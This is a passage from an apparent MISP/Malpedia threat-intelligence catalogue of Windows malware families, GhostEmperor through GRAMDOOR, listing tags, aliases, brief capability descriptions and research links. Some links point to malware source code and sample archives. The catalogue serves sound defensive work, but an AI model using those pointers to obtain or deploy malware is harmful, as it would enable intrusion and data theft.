https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/
https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf

GhostEmperor

The tag is: *misp-galaxy:malpedia="GhostEmperor"*

GhostEmperor is also known as:

Table 2224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor
https://www.kaspersky.com/about/press-releases/2021_ghostemperor-chinese-speaking-apt-targets-high-profile-victims-using-unknown-rootkit
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf
https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/

Gh0stnet

The tag is: *misp-galaxy:malpedia="Gh0stnet"*

Gh0stnet is also known as:

- Remosh

Table 2225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf
https://www.nartv.org/2019/03/28/10-years-since-ghostnet/
https://en.wikipedia.org/wiki/GhostNet

GhostAdmin

The tag is: *misp-galaxy:malpedia="GhostAdmin"*

GhostAdmin is also known as:

- Ghost iBot

Table 2226. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin
https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html
https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/

Ghost RAT

According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.

Below is a list of Gh0st RAT capabilities. Take full control of the remote screen on the infected bot. Provide real time as well as offline keystroke logging. Provide live feed of webcam, microphone of infected host. Download remote binaries on the infected remote host. Take control of remote shutdown and reboot of host. Disable infected computer remote pointer and keyboard input. Enter into shell of remote infected host with full control. Provide a list of all the active processes. Clear all existing SSDT of all existing hooks.

The tag is: *misp-galaxy:malpedia="Ghost RAT"*

Ghost RAT is also known as:

- Farfli
- Gh0st RAT
- PCRat

Table 2227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats
https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/
https://hackcon.org/uploads/327/05%20-%20Kwak.pdf
https://risky.biz/whatiswinnti/
https://www.secureworks.com/research/threat-profiles/bronze-union

https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://s.tencent.com/research/report/836.html
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.trendmicro.com/en_us/research/21/d/water-pamola-attacked-online-shops-via-malicious-orders.html
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://attack.mitre.org/groups/G0026
https://www.secureworks.com/research/threat-profiles/bronze-edison
https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new
https://www.intezer.com/blog/malware-analysis/chinaz-relations/
https://asec.ahnlab.com/en/32572/
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf
https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits
https://blog.cylance.com/the-ghost-dragon
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://unit42.paloaltonetworks.com/atoms/iron-taurus/
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html
https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/
https://www.datanet.co.kr/news/articleView.html?idxno=133346
https://attack.mitre.org/groups/G0011
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
https://www.intezer.com/blog-chinaz-relations/
https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/
https://blog.prevailion.com/2020/06/the-gh0st-remains-same8.html
https://web.archive.org/web/20140816135909/https://www.symantec.com/connect/blogs/inside-back-door-attack
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/
http://www.malware-traffic-analysis.net/2018/01/04/index.html
https://medium.com/insomniacs/what-happened-between-the-bigbadwolf-and-the-tiger-925549a105b2
https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf
https://www.bitdefender.com/files/News/CaseStudies/study/185/Bitdefender-Business-2017-WhitePaper-PZCHAO-crea2452-en-EN-GenericUse.pdf
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report
https://www.secureworks.com/research/threat-profiles/bronze-globe
https://blog.talosintelligence.com/2019/09/panda-evolution.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf
https://www.secureworks.com/research/threat-profiles/bronze-fleetwood
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/
https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf
https://attack.mitre.org/groups/G0001/
https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html
http://www.nartv.org/mirror/ghostnet.pdf
https://tccontre.blogspot.com/2021/02/gh0strat-anti-debugging-nested-seh-try.html
http://www.hexblog.com/?p=1248
https://attack.mitre.org/groups/G0096
https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/
https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf
https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41

https://www.prevailion.com/the-gh0st-remains-the-same-2/

Gibberish

Ransomware.

The tag is: *misp-galaxy:malpedia="Gibberish"*

Gibberish is also known as:

Table 2228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gibberish
https://id-ransomware.blogspot.com/2020/02/gibberish-ransomware.html

Giffy

The tag is: *misp-galaxy:malpedia="Giffy"*

Giffy is also known as:

Table 2229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.giffy
https://vx-underground.org/archive/APTs/2016/2016.09.06/Buckeye.pdf

Ginwui

The tag is: *misp-galaxy:malpedia="Ginwui"*

Ginwui is also known as:

Table 2230. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ginwui
https://www.elastic.co/de/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Ginzo Stealer

An information stealer written in .NET.

The tag is: *misp-galaxy:malpedia="Ginzo Stealer"*

Ginzo Stealer is also known as:

Table 2231. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ginzo
https://twitter.com/struppigel/status/1506933328599044100
https://ke-la.com/information-stealers-a-new-landscape/
https://www.govcert.ch/downloads/whitepapers/Unflattening-ConfuserEx-Code-in-IDA.pdf

Glasses

The tag is: *misp-galaxy:malpedia="Glasses"*

Glasses is also known as:

- Wordpress Bruteforcer

Table 2232. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses

GlassRAT

The tag is: *misp-galaxy:malpedia="GlassRAT"*

GlassRAT is also known as:

Table 2233. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat
https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat

GlitchPOS

The tag is: *misp-galaxy:malpedia="GlitchPOS"*

GlitchPOS is also known as:

Table 2234. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos
https://blog.talosintelligence.com/2019/03/glitchpos-new-pos-malware-for-sale.html

GlobeImposter

GlobeImposter is a ransomware application which is mainly distributed via "blank slate" spam (the spam has no message content and an attached ZIP file), exploits, malicious advertising, fake updates, and repacked installers. GlobeImposter mimics the Globe ransomware family. This malware may prevent execution of Anti-Virus solutions and other OS related security features and may prevent system restoration.

The tag is: *misp-galaxy:malpedia="GlobeImposter"*

GlobeImposter is also known as:

- Fake Globe

Table 2235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter
https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://intel471.com/blog/a-brief-history-of-ta505
https://www.emsisoft.com/ransomware-decryption-tools/globeimposter
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Ransomware_whitepaper_eng.pdf
https://www.secureworks.com/research/threat-profiles/gold-swathmore
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run
https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/
https://isc.sans.edu/diary/23417
https://blog.ensilo.com/globeimposter-ransomware-technical
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://asec.ahnlab.com/ko/30284/

Globe

The tag is: *misp-galaxy:malpedia="Globe"*

Globe is also known as:

Table 2236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom

GlooxMail

The tag is: *misp-galaxy:malpedia="GlooxMail"*

GlooxMail is also known as:

Table 2237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Glupteba

The tag is: *misp-galaxy:malpedia="Glupteba"*

Glupteba is also known as:

Table 2238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba
https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html
https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/
https://community.riskiq.com/article/2a36a7d2/description
https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728
https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/
https://blog.google/technology/safety-security/new-action-combat-cyber-crime/
https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/
https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign

https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/
https://blog.google/threat-analysis-group/disrupting-glupteba-operation/
https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451
https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf
http://resources.infosecinstitute.com/tdss4-part-1/
https://habr.com/ru/company/solarsecurity/blog/578900/
https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html
https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html
https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/
https://labs.k7computing.com/?p=22319
https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&utm_medium=twitter
https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf

GoBotKR

The tag is: *misp-galaxy:malpedia="GoBotKR"*

GoBotKR is also known as:

Table 2239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gobotkr
https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/

goCryptoLocker

The tag is: *misp-galaxy:malpedia="goCryptoLocker"*

goCryptoLocker is also known as:

Table 2240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gocryptolocker
https://id-ransomware.blogspot.com/2020/04/gocryptolocker-ransomware.html
https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go
https://twitter.com/GrujaRS/status/1254657823478353920

Godlike12

The tag is: *misp-galaxy:malpedia="Godlike12"*

Godlike12 is also known as:

- GOSLU

Table 2241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godlike12
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/
https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/

goDoH

Proof of concept for data exfiltration via DoH, written in Go.

The tag is: *misp-galaxy:malpedia="goDoH"*

goDoH is also known as:

Table 2242. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godoh
https://github.com/sensepost/goDoH
https://sensepost.com/blog/2018/waiting-for-godoh/

Godzilla Loader

The tag is: *misp-galaxy:malpedia="Godzilla Loader"*

Godzilla Loader is also known as:

Table 2243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader
https://research.checkpoint.com/godzilla-loader-and-the-long-tail-of-malware/

Gofing

A file infector written in Go, discovered by Karsten Hahn in February 2022. According to Karsten, despite its internal naming, it is not polymorphic and the virus body is not encrypted. Gofing uses the Coldfire Golang malware development library.

The tag is: *misp-galaxy:malpedia="Gofing"*

Gofing is also known as:

- Velocity Polymorphic Compression Malware

Table 2244. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gofing
https://twitter.com/struppigel/status/1498229809675214849

Goggles

The tag is: *misp-galaxy:malpedia="Goggles"*

Goggles is also known as:

Table 2245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GoGoogle

The tag is: *misp-galaxy:malpedia="GoGoogle"*

GoGoogle is also known as:

- BossiTossi

Table 2246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gogoogle

https://labs.bitdefender.com/2020/05/gogoogle-decryption-tool/

GoldenEye

The tag is: *misp-galaxy:malpedia="GoldenEye"*

GoldenEye is also known as:

- Petya/Mischa

Table 2247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye
https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/

GoldenHelper

The tag is: *misp-galaxy:malpedia="GoldenHelper"*

GoldenHelper is also known as:

Table 2248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenhelper
https://tomiwa-xy.medium.com/static-analysis-of-goldenhelper-malware-golden-tax-malware-d9f85a88e74d
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/

GoldenSpy

The tag is: *misp-galaxy:malpedia="GoldenSpy"*

GoldenSpy is also known as:

Table 2249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy
https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf

https://www.ic3.gov/Media/News/2020/201103-1.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/
https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/
https://www.ic3.gov/media/news/2020/200728.pdf
https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf

GoldMax

Gold Max is a Golang written command and control backdoor used by the NOBELIUM threat actor group. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running.

The tag is: *misp-galaxy:malpedia="GoldMax"*

GoldMax is also known as:

- SUNSHUTTLE

Table 2250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://securelist.com/extracting-type-information-from-go-binaries/104715/
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/

https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/

GoldDragon

GoldDragon was a second-stage backdoor which established a permanent presence on the victim's system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaing targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.

The malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server.

The tag is: *misp-galaxy:malpedia="GoldDragon"*

GoldDragon is also known as:

- Lovexxx

Table 2251. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf
https://www.youtube.com/watch?v=rfzmHjZX70s
https://asec.ahnlab.com/en/31089/
https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html

Golroted

The tag is: *misp-galaxy:malpedia="Golroted"*

Golroted is also known as:

Table 2252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted
http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html

GoMet

The tag is: *misp-galaxy:malpedia="GoMet"*

GoMet is also known as:

Table 2253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gomet
https://blog.talosintelligence.com/2022/07/attackers-target-ukraine-using-gomet.html

Gomorrah stealer

Gomorrah is a stealer with no or little obfuscation that appeared around March 2020. It is sold for about 150$ lifetime for v4 (originally 400$ for v3) or 100$ per month by its developer called "th3darkly / lucifer" (which is also the developer of CosaNostra botnet). The malware's main functionalities are stealing (passwords, cryptocurrency wallets) and loading of tasks and other payloads.

The tag is: *misp-galaxy:malpedia="Gomorrah stealer"*

Gomorrah stealer is also known as:

Table 2254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer
https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April
https://twitter.com/vxunderground/status/1469713783308357633

Goodor

The tag is: *misp-galaxy:malpedia="Goodor"*

Goodor is also known as:

- Fuerboos

Table 2255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://norfolkinfosec.com/a-new-look-at-old-dragonfly-malware-goodor/

https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control

GoogleDrive RAT

The tag is: *misp-galaxy:malpedia="GoogleDrive RAT"*

GoogleDrive RAT is also known as:

Table 2256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat
https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf

GooPic Drooper

The tag is: *misp-galaxy:malpedia="GooPic Drooper"*

GooPic Drooper is also known as:

Table 2257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic
https://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

GootKit

Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.

The tag is: *misp-galaxy:malpedia="GootKit"*

GootKit is also known as:

- Waldek
- Xswkit
- talalpek

Table 2258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit
https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/

https://www.certego.net/en/news/malware-tales-gootkit/
https://www.youtube.com/watch?v=242Tn0IL2jE
https://dannyquist.github.io/gootkit-reversing-ghidra/
https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/
https://www.us-cert.gov/ncas/alerts/TA16-336A
https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/
https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/
https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/
https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection
https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html
https://www.youtube.com/watch?v=QgUlPvEE4aw
https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/
http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html
https://securelist.com/gootkit-the-cautious-trojan/102731/
https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728
https://news.drweb.com/show/?i=4338&lng=en
https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps
http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html
https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/
https://twitter.com/jhencinski/status/1464268732096815105
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan
https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope
https://twitter.com/MsftSecIntel/status/1366542130731094021
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf
https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html
https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/

https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md
http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/
https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055

Gophe

The tag is: *misp-galaxy:malpedia="Gophe"*

Gophe is also known as:

Table 2259. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe
https://github.com/strictlymike/presentations/tree/master/2020/2020.02.08_BSidesHuntsville
https://www.proofpoint.com/us/threat-insight/post/dyre-malware-campaigners-innovate-distribution-techniques

GOTROJ

The tag is: *misp-galaxy:malpedia="GOTROJ"*

GOTROJ is also known as:

Table 2260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gotroj
https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf

GovRAT

The tag is: *misp-galaxy:malpedia="GovRAT"*

GovRAT is also known as:

Table 2261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat

https://www.yumpu.com/en/document/view/55930175/govrat-v20

Gozi

2000 Ursnif aka Snifula 2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) → 2010 Gozi Prinimalka → Vawtrak/Neverquest

In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.

The tag is: *misp-galaxy:malpedia="Gozi"*

Gozi is also known as:

- CRM
- Gozi CRM
- Papras
- Snifula
- Ursnif

Table 2262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html
https://www.secureworks.com/research/threat-profiles/gold-swathmore
https://www.youtube.com/watch?v=BcFbkjUVc7o
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/

https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://github.com/mlodic/ursnif_beacon_decryptor
https://lokalhost.pl/gozi_tree.txt
https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/
https://www.secureworks.com/research/gozi
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

GPCode

The tag is: *misp-galaxy:malpedia="GPCode"*

GPCode is also known as:

Table 2263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode
https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2
http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/
https://de.securelist.com/analysis/59479/erpresser/
http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html

GrabBot

The tag is: *misp-galaxy:malpedia="GrabBot"*

GrabBot is also known as:

Table 2264. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot
http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data

Graftor

The tag is: *misp-galaxy:malpedia="Graftor"*

Graftor is also known as:

Table 2265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor
http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html

GRAMDOOR

The tag is: *misp-galaxy:malpedia="GRAMDOOR"*

GRAMDOOR is also known as:

